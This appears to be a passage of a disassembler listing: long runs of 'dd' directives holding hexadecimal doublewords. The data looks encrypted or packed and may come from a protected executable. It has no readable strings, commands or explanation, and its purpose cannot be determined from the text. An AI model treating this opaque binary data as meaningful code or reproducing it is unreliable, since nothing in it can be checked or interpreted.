		dd 6BC93029h, 0FEE9900Fh, 0C3E2C92Fh, 181F8Bh, 15AD0000h
		dd 49700371h, 0F6329796h, 3021B269h, 723A1BC9h,	303B2AEDh
		dd 9B375FC9h, 0C7E97612h, 14CF77CFh, 0B93E4B66h, 78D1C701h
		dd 0E607AD8h, 0F88EC6E7h, 6A0640D9h, 0BED84723h, 0FC92D3Dh
		dd 9D6C8B2Eh, 1987DECh,	8E95h, 9A42A000h, 2B990D33h, 9844BC82h
		dd 2A920F31h, 994BBD83h, 120A1230h, 0A79930B4h,	132D8440h
		dd 9BA50CB0h, 5713BA2Ah, 54EDAC33h, 88DEC2E9h, 129B373Ah
		dd 0CFC7E976h, 2706CF77h, 0DD58F8BEh, 6DB026B9h, 2F11C92Dh
		dd 882D0CB8h, 7DEC0565h, 389E0A93h, 0A000000h, 0B38D2498h
		dd 6389153h, 0B58B229Ah, 739904Ch, 0A88A23A1h, 0BA2A9C80h
		dd 0ABA2D13h, 0B6269DA3h, 0C4211Fh, 1689EDA9h, 0C2E95463h
		dd 0E5803264h, 3, 4FFB4957h, 0C0FE67D5h, 4678E163h, 0C6F861DBh
		dd 427CE55Fh, 0C7F960E4h, 447AE361h, 0C6F861DBh, 457BE25Ah
		dd 0EDFA63E1h, 81E78957h, 4C7h,	4EF8300h, 5C243C87h, 56240489h
		dd 0C681E689h, 4, 8704EE83h, 895C2434h,	8957240Ch, 4C781E7h
		dd 83000000h, 3C8704EFh, 3C895C24h, 0B8505224h,	750E58F6h
		dd 0E0C1D8F7h, 0C9DA2D08h, 0C2899B71h, 7BCDB958h, 0D1315072h
		dd 6642685Ah, 24890000h, 24048324h, 0EC815F04h,	4, 8F240C89h
		dd 3C8B0847h, 0E2895224h, 4C281h, 0C2810000h, 4, 5C241487h
		dd 592434FFh, 4C481h, 0E3E90000h, 0B5FFFD3Dh, 0C5E9FBFEh
		dd 0CD9657FDh, 0EAA3CF97h, 0A2B8E379h, 3064740h, 0EBC88BC5h
		dd 5E8E900h, 0DCE90000h, 68000005h, 6474239h, 0FD3DB5E9h
		dd 43A568FFh, 0ABE90647h, 68FFFD3Dh, 6474432h, 0FD3DA1E9h
		dd 450768FFh, 97E90647h, 68FFFD3Dh, 6474607h, 0FD3D8DE9h
		dd 0FE5EC4FFh, 47FD6957h, 0CC70D0EEh, 76E65B65h, 0DD87E1DFh
		dd 6ECE5674h, 0DBE54CF8h, 6F51F86Ch, 0DFE148F4h, 1357FE66h
		dd 5331E877h, 0CC9AC2E9h, 9427EE7Eh, 0CA71C930h, 0EAC93094h
		dd 0C930942Eh, 3094BF76h, 0B52C12C9h, 0F7BF9E07h, 3094AE68h
		dd 943FF6C9h, 20B04930h, 948C4FD0h, 1C3D4930h, 0AE2B593Dh
		dd 8A5320EAh, 0FED834B5h, 0C9E8C259h, 0C7AE581h, 5D4F7448h
		dd 0E36A187Ch, 6AE85984h, 0C954FB6h, 20440C2Dh,	9039A31Eh
		dd 108933AEh, 1773BA56h, 4A02BA29h, 79FFB12Eh, 3E4930h
		dd 0A40120A4h, 0FDEF02C1h, 566AFE67h, 76000004h, 0C7F9500Ch
		dd 724CE55Fh, 3907AE0Eh, 83BD14C8h, 3416BF25h, 0AE1670ECh
		dd 16CE3907h, 0BA2281BFh, 0CB82D13h, 1A85E1A5h,	0C2E9525Fh
		dd 158C3E68h, 420ABA2Bh, 0C45D077Ch, 30949D5Bh,	26602C9h
		dd 8817C53Ch, 0C93093D1h, 0E893DBFAh, 0F074D13Eh, 46FE6759h
		dd 0DF84E1DFh, 7524BB66h, 56C93094h, 0EE775677h, 35AA94F0h
		dd 773F1E87h, 0D035220Ch, 1B8BBD14h, 0D801F4B3h, 3BCh
		dd 6ED64F6Ah, 94AE68F7h, 0B4CFC930h, 0AC188D6Ah, 3BFE6105h
		dd 8CC93094h, 8D2F93ADh, 0BBC9ADC9h, 0D0751FA1h, 9E014954h
		dd 0C9304ADBh, 0EC71D2ECh, 7150C973h, 0C2BBC950h, 1A881481h
		dd 5AC3E2C3h, 16C55A3Eh, 0B7C92FC1h, 89A81C89h,	0D884FFC1h
		dd 3F671571h, 1759AF3Bh, 974DB886h, 9384E1DFh, 0AF5B4FD3h
		dd 0BB2A14C3h, 90B19009h, 96096D09h, 0C93085E3h, 0F86CDAE4h
		dd 29614061h, 0F057C56Fh, 0EDCCED74h, 0C772ED89h, 0C93086h
		dd 0FEC06921h, 0E064C085h, 23C58C1h, 99A73E9Eh,	0A997B62Eh
		dd 0F4CA823Ah, 0E57AD391h, 0C9308632h, 61F86CDBh, 0C8477705h
		dd 5429CA97h, 0ABD9A87Eh, 71EE862Ch, 527352CBh,	79B45C1Ah
		dd 0C5231Dh, 86A73EA6h,	6D1F3EA7h, 95E764EBh, 0FE9AD28Dh
		dd 74463B61h, 16B392CFh, 7BAB7E7Dh, 0EA8E1A83h,	0EA000002h
		dd 536DC478h, 0E6D871F3h, 556BC27Ah, 0E7D970ECh
		dd 486AC381h, 5A0A7CE0h, 0EA5ACDF3h, 56067D43h,	0E064C1FFh
		dd 0F6690D49h, 0C2E95143h, 4F60D284h, 0C9F76ED6h, 908FF75Ch
		dd 30944C0Fh, 7D5C7DC9h, 80E4C5E4h, 91054BF2h, 5CC72487h
		dd 1089C1E0h, 0A40DB72Eh, 2FD7BC3Bh, 786D1FC9h,	14A77282h
		dd 2EE9763Eh, 0D7C9304Bh, 0F26DF470h, 0C9304B43h, 883CA896h
		dd 0A3EA86C0h, 777A58C7h, 0D2F3CF74h, 0AB4D0677h, 37A33A7Bh
		dd 25Dh, 0FC55077Dh, 4BE262C2h,	6AF0D75h, 0BC15C738h, 9A02482h
		dd 0AD1B012Bh, 45A09E37h, 9908369Fh, 4FB48A23h,	1C783C95h
		dd 0E94FD883h, 15A7F1C2h, 0A6ED64Fh, 5911CB34h,	6BD6A4C0h
		dd 663C7940h, 3AAB95DDh, 4C01BED9h, 30C97F0Fh, 32C3B13Ch
		dd 3FA6878Bh, 47374521h, 9B67979Ch, 0B176C24h, 0B510B52Eh
		dd 89B7960Fh, 1C3DA418h, 42A2943Dh, 0F301F3F5h,	1C8h, 0A9671541h
		dd 1BDF9578h, 0A86FF0B8h, 51C93017h, 0DDE34AF2h, 0AC92F666h
		dd 59C08834h, 0D940FC67h, 299DA3C7h, 0A42085BBh, 2F541C3Dh
		dd 31AB1603h, 3636AE98h, 52FF01F4h, 4D000000h, 76129B37h
		dd 74B83BE9h, 7BE480CFh, 0C2EC70C0h, 16602809h,	0BD59237h
		dd 8A137BABh, 1881Eh, 62DA4800h, 0D391F5CBh, 60DC447Ah
		dd 0D28AF7C9h, 61E3457Bh, 0DA42EAC8h, 6F51F86Ch, 0DBE54CF8h
		dd 635DF468h, 0AFEB4202h, 4FA554CBh, 7026C2E9h,	0CE5135C2h
		dd 0C9309413h, 320C95B4h, 0AD0F72CFh, 9D341534h, 58C742A3h
		dd 0C93094A1h, 0AE1A2E2Eh, 0F98F7D60h, 7DE460C7h, 0C55C7D5Ch
		dd 0DA4F183h, 0C56CD033h, 43DA8AFBh, 0F35A0A7Dh, 75EC58CDh
		dd 0EB741054h, 0C9307030h, 1F21B899h, 0D69039A3h, 556BF23Bh
		dd 4DEF50EDh, 5BCBF5D4h, 0C8ACC8E9h, 3070A457h,	0AA5725C9h
		dd 0D9C53437h, 0FD136140h, 25F1010Fh, 3CA30A42h, 0C92FD879h
		dd 3B5FD67Ah, 740ADAA4h, 7E1A3BCFh, 0C960E440h,	0F908FF7h
		dd 0C2EC064Ch, 197D5C7Dh, 4901BB27h, 0C973EED0h, 4DF76E50h
		dd 0D976EAD4h, 4ED7F66Eh, 34B0142Ah, 82C48CADh,	0FDC3A7EEh
		dd 6342DB89h, 0DAD04F2Bh, 13C9300Dh, 0A6DA9732h, 0B72E7DEFh
		dd 8823h, 62DA4800h, 0D391F5CBh, 60DC447Ah, 0D28AF7C9h
		dd 61E3457Bh, 0DA42EAC8h, 6F51F86Ch, 0DBE54CF8h, 635DF468h
		dd 0AFEB4202h, 4EA554CBh, 7026C2E9h, 6ED64FC2h,	0E85CC9F7h
		dd 0A146F71h, 0A50CB82Dh, 0C784FFC1h, 5DC4E55Fh, 0A202347Ch
		dd 5301F4B3h, 18h, 9428EEE1h, 74D1C930h, 946F2AB5h, 7958C930h
		dd 0B65F158h, 0D7000000h, 309427EEh, 0F173D0C9h, 6A30EA58h
		dd 0CACh, 94F09400h, 3094500Bh,	105879C9h, 67D54FA2h, 0E163C0FEh
		dd 61DB4678h, 0E55FC6F8h, 60E4427Ch, 0E361C7F9h, 61DB447Ah
		dd 0E25AC6F8h, 63E1457Bh, 8951EDFAh, 4C181E1h, 83000000h
		dd 0FF5104E9h, 59042474h, 5C24048Fh, 723068h, 24348900h
		dd 399768h, 24148900h, 26D26851h, 81590599h, 0AFE905C1h
		dd 59CE8979h, 8102EEC1h, 154365CEh, 7EF68121h, 68399002h
		dd 3771h, 83242489h, 5A042404h,	89F58955h, 2C8B086Ah, 4C48324h
		dd 5A2434FFh, 4C481h, 34FF0000h, 0C4815E24h, 4,	0FD37EDE9h
		dd 0DB0183FFh, 69C60D59h, 0B8FB5228h, 64746B4h,	0D18BC503h
		dd 0D9E9h, 0BE1D2000h, 82C12C0Fh, 0B6CFDF2Fh, 5D54FDBEh
		dd 0ECA43636h, 5DD500BCh, 76D352C5h, 0FC94A4D6h, 0AEC44100h
		dd 77CB50C1h, 0ACAC3252h, 91B8009Ch, 0CD64F7F6h, 389382h
		dd 3C0000h, 400000h, 940000h, 50000h, 10000h, 0A280000h
		dd 20000h, 20h dup(0)
		dd 0AF1B0000h, 18E9690Ah, 68000020h, 6474A2Ah, 0FD36EDE9h
		dd 4B1A68FFh, 0E3E90647h, 68FFFD36h, 6474BEBh, 0FD36D9E9h
		dd 4CEF68FFh, 0CFE90647h, 68FFFD36h, 6474DBDh, 0FD36C5E9h
		dd 4E6F68FFh, 0BBE90647h, 68FFFD36h, 6474F24h, 0FD36B1E9h
		dd 4FC768FFh, 0A7E90647h, 68FFFD36h, 647536Fh, 0FD369DE9h
		dd 53F368FFh, 93E90647h, 68FFFD36h, 6475559h, 0FD3689E9h
		dd 587768FFh, 7FE90647h, 68FFFD36h, 6475BCAh, 0FD3675E9h
		dd 5F4968FFh, 6BE90647h, 68FFFD36h, 6476107h, 0FD3661E9h
		dd 617A68FFh, 57E90647h, 68FFFD36h, 64761D6h, 0FD364DE9h
		dd 623368FFh, 43E90647h, 68FFFD36h, 647636Eh, 0FD3639E9h
		dd 64FF68FFh, 2FE90647h, 68FFFD36h, 6476608h, 0FD3625E9h
		dd 9646BCFFh, 3FA5013Fh, 8438A896h, 0EAE132Dh, 0B52F99A7h
		dd 6F63E1Ch, 0B38D24A0h, 7399054h, 0B789209Ch, 7B3F964Eh
		dd 4BD9801Fh, 0A4F2C2E9h, 6ED64F16h, 0E85CC9F7h, 226B0741h
		dd 0B4EBD946h, 1470CF74h, 0EC73D08Bh, 9E3DFDC2h, 671CD95h
		dd 0F46F5170h, 0B8F0D148h, 0E976EFCEh, 0C2EBF42Eh, 0E449D5AEh
		dd 0FBB00F80h, 920FF381h, 2E39A0D7h, 700296D3h,	44C7BD9h
		dd 2954h, 9B37E600h, 53E97612h,	0BACF749Fh, 0DA9D029Bh
		dd 0DAC2EC88h, 0F72CCCBEh, 27E18CE4h, 250A146Fh, 0FBB003C1h
		dd 0D172h, 0D64FC000h, 5FC9F76Eh, 0E1427CE5h, 0A09EFA63h
		dd 38198044h, 2AD54E70h, 309406B5h, 8F4AD5C9h, 38C93094h
		dd 6F4E6F19h, 49F06F0Bh, 82C93094h, 0B7259DA3h,	51C956FFh
		dd 0B4C93098h, 23C954Fh, 234723A1h, 308FFDBCh, 0A7EFCEC9h
		dd 5DD8783Eh, 17C25D39h, 0B0C93090h, 22BDD991h,	0CF749368h
		dd 0A2279FA1h, 39188143h, 81A08118h, 4BC26E28h,	3654B02Fh
		dd 0A889C933h, 0D094F2CCh, 26E14779h, 2DE602B9h, 0CBEACBC9h
		dd 0ED98C36Eh, 490097Dh, 1D64h,	0F45DFF65h, 43EA5ACAh
		dd 0FE57057Dh, 54FD5FC0h, 0E148FC6Ah, 85E359C3h, 0DD4876DFh
		dd 91F0CE67h, 47BC822Bh, 1470349Dh, 0E949D08Bh,	1DAFF9C2h
		dd 0C74D94Fh, 0C9E8C950h, 7FE55E60h, 2B1564D6h,	0BF9E07BDh
		dd 9421B1F7h, 0EC58CEF0h, 0BD5FC0A4h, 0CCF749Fh, 6C2BB42Dh
		dd 6CC2EC89h, 4A740B17h, 0D1F069DBh, 0A837AF99h, 0C7FCFBB0h
		dd 4E000000h, 0F76ED64Fh, 0B168F793h, 1AC93094h, 3E9E053Bh
		dd 0F0CE86A7h, 28B72E96h, 0C93098B0h, 1074F055h, 9030EB74h
		dd 148BC930h, 0C9309065h, 10314766h, 56CFF158h,	0B52C90F1h
		dd 6A2CB594h, 0B42B4FC6h, 0CF7492F6h, 721637h, 3816F5F2h
		dd 76DF97F0h, 7115A030h, 246CD84Fh, 0D056DF40h,	0BB85C932h
		dd 0A7D1994Bh, 65DCE286h, 74F6EF7h, 79EB5D63h, 0CC78EED0h
		dd 0EDFADA69h, 7930A7Dh, 1C74h,	0E44DEF55h, 53FA6ADAh
		dd 0EE47F56Dh, 64CD6FD0h, 0D178EC5Ah, 0D53329F3h, 8DF8C66Fh
		dd 0E1407ED7h, 77ECD27Bh, 442064CDh, 0E94920DBh, 4DFFA9C2h
		dd 0C26BD94Fh, 5FC287FCh, 0DCB8DCFDh, 30949843h, 581031C9h
		dd 0D64F43F1h, 9405B42Bh, 0CC2C930h, 0DBFD30E8h, 66476610h
		dd 0FF64C1FFh, 0E15BC489h, 129FB2C0h, 0DF74A665h, 40A49AFEh
		dd 743C1D84h, 0EB686EDDh, 35AACE47h, 0CF73A66Bh, 9843DCB8h
		dd 31C2EBA1h, 0B6C76210h, 95AF4C2Dh, 0CA8AABDDh, 0A655CAAEh
		dd 27C2EC1Eh, 22D14E06h, 6B7F7A8Dh, 0B52A4EC7h,	14AAA97Fh
		dd 62069FBEh, 0E178E45Ch, 22CE88C0h, 0CA108FEBh, 312E699h
		dd 0B784622h, 55CEF059h, 39F34AEFh, 0A039C725h,	1BA334h
		dd 9E3EA400h, 279D0937h, 0EC50B08Eh, 56067B45h,	0FD67C1FFh
		dd 4EAE7654h, 0FBC56CD8h, 4F71D88Ch, 0FFC168D4h, 3377DE86h
		dd 4911C857h, 0ECBAC2E9h, 0FB67155Eh, 0B762FD2Dh, 10C92FD5h
		dd 21BF4331h, 0E1427C34h, 14BCFA63h, 5FC3FD99h,	530699FDh
		dd 74C93064h, 1D791D55h, 7B4E0B79h, 0D0995D80h,	30948C4Fh
		dd 521275C9h, 0BD9CEACBh, 0B0A46AF5h, 0C4E5CF74h, 431ED2A0h
		dd 1667D7A6h, 4109BB28h, 0D4515BE8h, 1B4AA23Ch,	7F27B5B2h
		dd 0AE8DCAB1h, 371637D7h, 0CC533753h, 0C2EBFE0Dh, 4FD68EF6h
		dd 4E6A186Eh, 448FC600h, 16714F6Eh, 0A779E6AEh,	0E6C93086h
		dd 0E41887C7h, 0D990E1DFh, 798FC39h, 7C374CDh, 76846C1Eh
		dd 7C61D17Ch, 0A3DCA0Eh, 0ACE4307Dh, 7A21BEDAh,	53073B73h
		dd 8CCA5372h, 52CDA9E4h, 0D7FAE08h, 3A046041h, 8CB21BC9h
		dd 928EFE17h, 0EFD16Eh,	0B8421h, 0E47DBA5Eh, 1A9F70h, 9A42A000h
		dd 2B990D33h, 9844BC82h, 2A920F31h, 994BBD83h, 120A1230h
		dd 0A79930B4h, 132D8440h, 9BA50CB0h, 5713BA2Ah,	47EDAC33h
		dd 88DEC2E9h, 6ED64F3Ah, 13D1340Ah, 7AE3AB8Ah, 7D19943Ch
		dd 749DB8E2h, 993011CFh, 9E32D12Ah, 8B0ECD52h, 9EBFC2ECh
		dd 7A44DBBFh, 0DBC9308Eh, 5BC282E5h, 13F5B7Ah, 32723AA2h
		dd 0D9413CADh, 9C19B965h, 0F2D67F8h, 407E32CCh,	42347CE0h
		dd 0C45D077Ch, 395DC4E5h, 0B15A7D4Bh, 80E1F96Dh, 0F3B5FDDCh
		dd 0D6B2D65Fh, 6ADB78E8h, 634263FAh, 0FF5DC4FAh, 0B30996DEh
		dd 8348836h, 8E17CD36h,	0B19054B0h, 0CAAE8FF9h,	0F908FF4h
		dd 2C87F24Ch, 0D47D5C7Dh, 6ECB79EAh, 0E14794FBh, 0D12CB821h
		dd 0F2000019h, 0BB852C90h, 0E30994Bh, 0BD832A92h, 0F319844h
		dd 0A0822B99h, 0A2228478h, 12D2350Bh, 0BE1E85BBh, 8BC2917h
		dd 1E81E5A1h, 0C2E9475Bh, 4F883A6Ch, 0B1F76ED6h, 0A71D8B21h
		dd 977DE286h, 0D6CF74C0h, 0E2C379E8h, 0B7112F4Bh, 1F6450Dh
		dd 0A7A4420h, 7DE2C35Ah, 0C2EC69BEh, 6BD1310Fh,	0AC44024Ah
		dd 0C49A0561h, 5C9306Bh, 26FB6424h, 57C67320h, 891672BBh
		dd 0D232244Bh, 0A3C7A382h, 29E47D3Ch, 276F4ECEh, 9858F8BEh
		dd 29E45407h, 755475CEh, 1E2C8E11h, 0A39DD46Eh,	39188143h
		dd 0E1427C18h, 8FF4CA63h, 0BCEB70D5h, 841D80ADh, 191F10h
		dd 1AC22000h, 0AB198DB3h, 18C43C02h, 0AA128FB1h, 19CB3D03h
		dd 928A92B0h, 2719B034h, 93AD04C0h, 1B258C30h, 0D7933AAAh
		dd 466D2CB3h, 85EC2E9h,	6ED64FBAh, 39AD93F7h, 0ED85C38Bh
		dd 515BC4A0h, 8ACF749Ch, 0A9351B4h, 3415632Bh, 2F242E9Dh
		dd 0A6E0A83h, 3FC6E978h, 3E765DC9h, 2FE2DFA1h, 0B3122CC9h
		dd 0C189A831h, 49D696B7h, 5CF8D64Fh, 8FEB22CEh,	0AC80E210h
		dd 0CC37093Bh, 30EB7410h, 9933A428h, 0A786F0B8h, 0B53AB1C3h
		dd 0A8F025F8h, 933F79E0h, 9BE17E1Ah, 0F239E815h, 1C89B7D3h
		dd 0C63F01A8h, 0A33AA201h, 6706A382h, 9DEE27B5h, 186A9004h
		dd 0F96B0000h, 70D4EA43h, 0FF635DF4h, 55CAF45Dh, 16704EE7h
		dd 0FB2507AEh, 943DA701h, 20893BAAh, 9039A31Eh,	268F35AEh
		dd 0E2990662h, 0EBC2E944h, 0D64F0FBDh, 21B1F76Eh, 2C6FF094h
		dd 9DCF77DCh, 79E6D8BCh, 0D1EF8BC3h, 0C659F074h, 0C2E94DA3h
		dd 51358014h, 0D74EF66Fh, 2917BEF6h, 0E7A108BCh, 0C2A6C24Bh
		dd 45DC88FCh, 88B32C64h, 41C93094h, 0CA3A0460h,	198DB31Ah
		dd 30E5E0F8h, 9C76A0B2h, 0E9493B03h, 0BD311970h, 0A0684FC1h
		dd 5D39A081h, 0D8410363h, 168FB1F9h, 1F7C0BAEh,	31A87DEFh
		dd 17C7A5h, 0A21A8800h,	13D1350Bh, 0A01C84BAh, 12CA3709h
		dd 0A12385BBh, 1A022A08h, 0AF9138ACh, 1B258C38h, 0A39D34A8h
		dd 6F2B8242h, 44E5940Bh, 0B0E6C2E9h, 129B3702h,	0DBB2E976h
		dd 3A1BCF77h, 0B9483A5Eh, 2DA96F6Eh, 0A3003E76h, 26CE8821h
		dd 53B58BEFh
		dd 22BDD991h, 0C2E92083h, 0A1B33644h, 3A22C981h, 223A104h
		dd 1152049Bh, 3942C2E9h, 2C9C08EDh, 8759FBADh, 3D000000h
		dd 0B920A403h, 85A42087h, 0D9448BBh, 37D6642Ch,	3C99099Fh
		dd 0A5841DC7h, 0C2231D84h, 9BBA9B02h, 0DEBADEBAh, 30949A41h
		dd 0C85733C9h, 0C9309411h, 0F2BA9BBAh, 3094B26Dh, 0AB3213C9h
		dd 0D094F1CFh, 53117749h, 0F2A53A72h, 0E2C93093h, 3CA88D99h
		dd 0F901F4AFh, 2Eh, 0EE71154Bh,	0C930942Bh, 6AF5BD9Ch
		dd 0C93094ACh, 6C08852Dh, 2D27A08h, 0F8A33Ch, 0F0D1C930h
		dd 0C1686A82h, 94041689h, 0E4C5CF74h, 9B37FF4Dh, 4377EB41h
		dd 0DAFB62E2h, 859E62A8h, 9D5FC0A4h, 2CCF74AAh,	39AA940Dh
		dd 7AAA51CEh, 223C2ECh,	8794723h, 1ECEF007h, 90B1D642h
		dd 0D64F71D8h, 5FC9F76Eh, 4ED785FAh, 9CD74E6Fh,	65DE3BE7h
		dd 0FB6856FFh, 0FA96D049h, 0A98834ACh, 160C52CDh, 615FC930h
		dd 0BEBC0801h, 0B306E86Ch, 8DACDA92h, 0F66ED7E9h, 16704E6Fh
		dd 714FE6AEh, 73AF0314h, 0E2A62057h, 85E1C084h,	30195F1Ah
		dd 684968C9h, 12D2320Ch, 0BC5CC35Ah, 414166C0h,	0DAE47DE7h
		dd 716FF666h, 937F200Ah, 61CF736Ah, 4A2E6544h, 6C521274h
		dd 78034BF9h, 33E441AEh, 0B2E4B722h, 0C56C4D91h, 9F8AFBh
		dd 50FA0459h, 0F46D5372h, 0D1F0D148h, 53097648h, 0F86D5337h
		dd 6BF4D54Ch, 50FA04B0h, 384EF651h, 219B06h, 0D2A9D148h
		dd 0CA7AEB48h, 7CE85D63h, 860FA3E5h, 1EC77DE2h,	2A14573Eh
		dd 0B09108BCh, 6AF8EF8h, 8019CB38h, 1BA296E4h, 2EB5B732h
		dd 77ED5866h, 0BB92D13h, 0B269F692h, 1B4ABDECh,	0CA531B3Ah
		dd 0C330FA81h, 0E286E262h, 0BDECBE7Dh, 662E0F4Ah, 0D094F1CFh
		dd 2A630F49h, 17E7D14Eh, 47665102h, 0F173D0EEh,	0D1320C68h
		dd 0E3AB8A13h, 0FA11B97Ch, 0C16D1660h, 0DC75EF54h, 44DD7FE2h
		dd 0C1580C7Ah, 0C77AA4DFh, 5BCD8AF9h, 0BE80C8E9h, 0E309943h
		dd 734D2993h, 7FE6AE0Eh, 0A639E041h, 60FA10F3h,	2387F5D4h
		dd 6A6ED3C2h, 0D09B0223h, 2F927FABh, 0A71A248Dh, 46EAAC35h
		dd 8634ABCFh, 47673DFAh, 0C43C0266h, 0B1C95018h, 90F360CAh
		dd 4ABB852Ch, 6D1FF1C9h, 0F83A48F4h, 27BE9FCCh,	0A138AC19h
		dd 0A75AC4BFh, 2FB62E99h, 0B78460Eh, 0C6593D59h, 5ABE4C13h
		dd 74DD95B4h, 0FB52E10h, 6C157147h, 0D4EA9382h,	83E9A26Bh
		dd 105CBB53h, 0C189A831h, 2D91h, 0D44F2300h, 1BB7F168h
		dd 0E092F692h, 9AC0A260h, 0BA256D48h, 0CF7480A8h, 3CE35F61h
		dd 0EC67F8A3h, 0D1F0D1C2h, 0E1486948h, 1E75h, 0D44FC700h
		dd 0D3320C68h, 4AB68811h, 0B2A0B92h, 0F49CDA43h, 1842DDB9h
		dd 0B1CF749Bh, 0C28B3990h, 7EB75BC8h, 96BB851Ah, 3B1ACF74h
		dd 0A935E47Bh, 0AA6B79Fh, 3A78E783h, 61DC7DADh,	5BDF9A05h
		dd 0C9E8D47Dh, 0D585F781h, 256DFD29h, 0A88D4CD3h, 1F3ED47Ch
		dd 0C0861F3Eh, 1E81E530h, 0DAC0E2BCh, 3A482C0Dh, 0FC69FACFh
		dd 82F0D148h, 5A12109Bh, 21A3003Eh, 949EEC88h, 92833086h
		dd 3605E16h, 6199E441h,	0D64F8F18h, 141F42h, 1AC22000h
		dd 0AB198DB3h, 18C43C02h, 0AA128FB1h, 19CB3D03h, 928A92B0h
		dd 2719B034h, 93AD04C0h, 1B258C30h, 0D7933AAAh,	416D2CB3h
		dd 85EC2E9h, 952BEEBAh,	4ACC930h, 93A853CCh, 5321C930h
		dd 0B522541Ch, 536D4CDEh, 0C8E970F4h, 0B4128DE9h, 35CF73A7h
		dd 0D34E7014h, 83FEC069h, 85FB4F8Ah, 0C2E34C8Ah, 0A3E9D4A6h
		dd 1EEB81F7h, 0AE36E57Ah, 0B697C2EBh, 0EC5967FEh, 0D09EDD78h
		dd 0F76E7BABh, 139B63h,	9646BC00h, 3FA5013Fh, 8438A896h
		dd 0EAE132Dh, 0B52F99A7h, 6F63E1Ch, 0B38D24A0h,	7399054h
		dd 0B789209Ch, 7B3F964Eh, 40D9801Fh, 0A4F2C2E9h, 579B3716h
		dd 309411C8h, 1F84BAC9h, 0C1A584A5h, 74A2E85Eh,	3C5879CFh
		dd 8B22A202h, 0A9351B5h, 9746CF34h, 0D0B452Bh, 0E2DC4564h
		dd 645AC381h, 0C2DC45FFh, 0E79F6DB9h, 661CF183h, 1B27EFDEh
		dd 0EBCDD584h, 0F6D7F6C2h, 0AFE75DC8h, 79ED4AD4h, 72EF6CD4h
		dd 537253CAh, 83BA9F21h, 9ABB4946h, 0A2618033h,	82E68213h
		dd 0EC0C5E1Dh, 4C027C2h, 0EBCABC9Dh, 0C69108Fh,	4362C2ECh
		dd 11754B0Bh, 0BD28916h, 0DAFBC2ECh, 3BFD62FBh,	0A4C2EC0Ch
		dd 7EE653DFh, 0BFD33395h, 4362FAD5h, 0F470D4EAh, 0E872B6Dh
		dd 0C4B2F56Ah, 0D2F3C933h, 0A41888B6h, 4DB688ECh, 58CDF397h
		dd 448336A9h, 6544C92Dh, 0B4FCDD44h, 2C2231Dh, 62C1FF9Bh
		dd 0A4263FAh, 0D69A44Ch, 30EF5769h, 2D43ECAFh, 0DDFCDDC9h
		dd 8B8E0A95h, 1E3FCF74h, 0E57A1E7Ah, 0C2EC7D36h, 0C0FEB697h
		dd 803BA463h, 49C2EC7Dh, 132D4968h, 0B4950CB0h,	0EDA5178Ah
		dd 1E097A44h, 7D36E57Ah, 0B697C2ECh, 0EC7D7229h, 5B7A5BC2h
		dd 0A1EC84C2h, 999C5AC5h, 132DC930h, 0B51031B3h, 7DEF3DFCh
		dd 350D9900h, 16000012h, 0A79930ACh, 122C853Fh,	99A70EAEh
		dd 231DB428h, 94B61FC5h, 8E36908Ch, 36AE1927h, 9A42A19Fh
		dd 2C980D33h, 3AA5C185h, 0C2E93F7Fh, 0EEAC1E48h, 0C9309434h
		dd 92F666DDh, 94B269F6h, 3A1BC930h, 0F59DDB72h,	0E3FDEBEBh
		dd 6C4DDFB8h, 8D2B9708h, 8BAACF77h, 70EF8BEFh, 0C2E98BC9h
		dd 556B2302h, 8D9F1CEDh, 22500C75h, 2B0AEB73h, 5014714Fh
		dd 9A0E8C9h, 37115BBh, 0EAE3DE3Bh, 0D9801FCBh, 0F2C92FB9h
		dd 39AD9BD3h, 0FA0273CDh, 128h,	8044A09Eh, 0C2703819h
		dd 970F9D37h, 15BE0C2Dh, 3093CC8Ah, 0B791E3C9h,	92D3B77h
		dd 15C17352h, 0BE1F0AA7h, 0A1139C37h, 0FB640064h, 0C9309440h
		dd 52E0A889h, 0CD52A037h, 0C930940Eh, 0A5D391F7h, 3117A584h
		dd 0A7EF4783h, 260404F4h, 0B6000000h, 0A1139C37h, 93CC8A15h
		dd 0DCFDC930h, 4FA7156Eh, 43DB69D3h, 0EE7115F1h, 0C930942Bh
		dd 61F5BD9Ch, 37h, 139C37D3h, 64D84977h, 2694DCFDh, 93CC8A15h
		dd 0D1EFC930h, 8EF5CB71h, 2F0E662Eh, 4FA7159Dh,	43DB69D3h
		dd 1DDC4327h, 0AEC93094h, 0C574EB8Fh, 6C93094h,	47DD6F27h
		dd 4F4A7EFh, 4F04h, 0A037B600h,	5249808h, 37115B7h, 0F7AAF184h
		dd 1F80BEA1h, 0AC6AF5BDh, 1DC92FA1h, 4539C96Fh,	3551ACD8h
		dd 3016EFAAh, 0D8F9D8C9h, 0BE1E82BCh, 0FC4E0627h, 0D74FA715h
		dd 0CF37096Dh, 15EF5D15h, 0F4430A67h, 0FAB2D417h, 1FE57AC8h
		dd 57000000h, 0A517A037h, 93CC8A15h, 0C2E3C930h, 4FA71570h
		dd 7B096DD7h, 510807B6h, 2E9CD4A6h, 0BEE5F143h,	57FFFFFEh
		dd 0C8579B37h, 0C9309411h, 0DEBA9BBAh, 77DC1A41h, 0F692B3CFh
		dd 8AF65BC8h, 4B6A4BD2h, 0CC78ECD2h, 1D557455h,	66DE4779h
		dd 0EE586602h, 4D32E976h, 0BA9BC2E9h, 13F5BF2h,	84A53CA0h
		dd 0ABEA8ACCh, 4DA950CFh, 322C2E9h, 4D58059Ah, 2044C2E9h
		dd 0CB104152h, 484BE3h,	0DA4AAF7Bh, 1BFBACD9h, 43h, 9427EEA9h
		dd 73D0C930h, 3BAB95F1h, 0C68C189h, 0F8341C7Eh,	0A9E1E25Eh
		dd 2FD98036h, 54E171C9h, 10CB5430h, 0B9C92FD9h,	873DA698h
		dd 6234ABCFh, 0A3CF740Ah, 714F2B82h, 1233AA12h,	0EFCE5Ah
		dd 377C0000h, 1276129Bh, 430BB92Ch, 74AC02DCh, 66243CFh
		dd 6C40C938h, 98A78C4Fh, 84BA1332h, 0BFDBBF1Dh,	0EC4F7920h
		dd 4D7352C2h, 0D1F069DBh, 5A640099h, 763078ECh,	533753DAh
		dd 0DF46F66Dh, 0E629B6FEh, 35C93396h, 0EFAA3551h, 0D8C92D91h
		dd 92B366F9h, 9906C92Dh, 0C92D91E2h, 82BCCAEBh
		dd 0D49CBD1Fh, 0A3289CA2h, 39188143h, 81A08118h, 0F468DBE5h
		dd 5C00635Dh, 23990638h, 0A896F26Bh, 0BA2A9C39h, 0BA230223h
		dd 9E3EA59Bh, 0AA0090D6h, 32138A3Ah, 0E1E87713h, 38CF74D8h
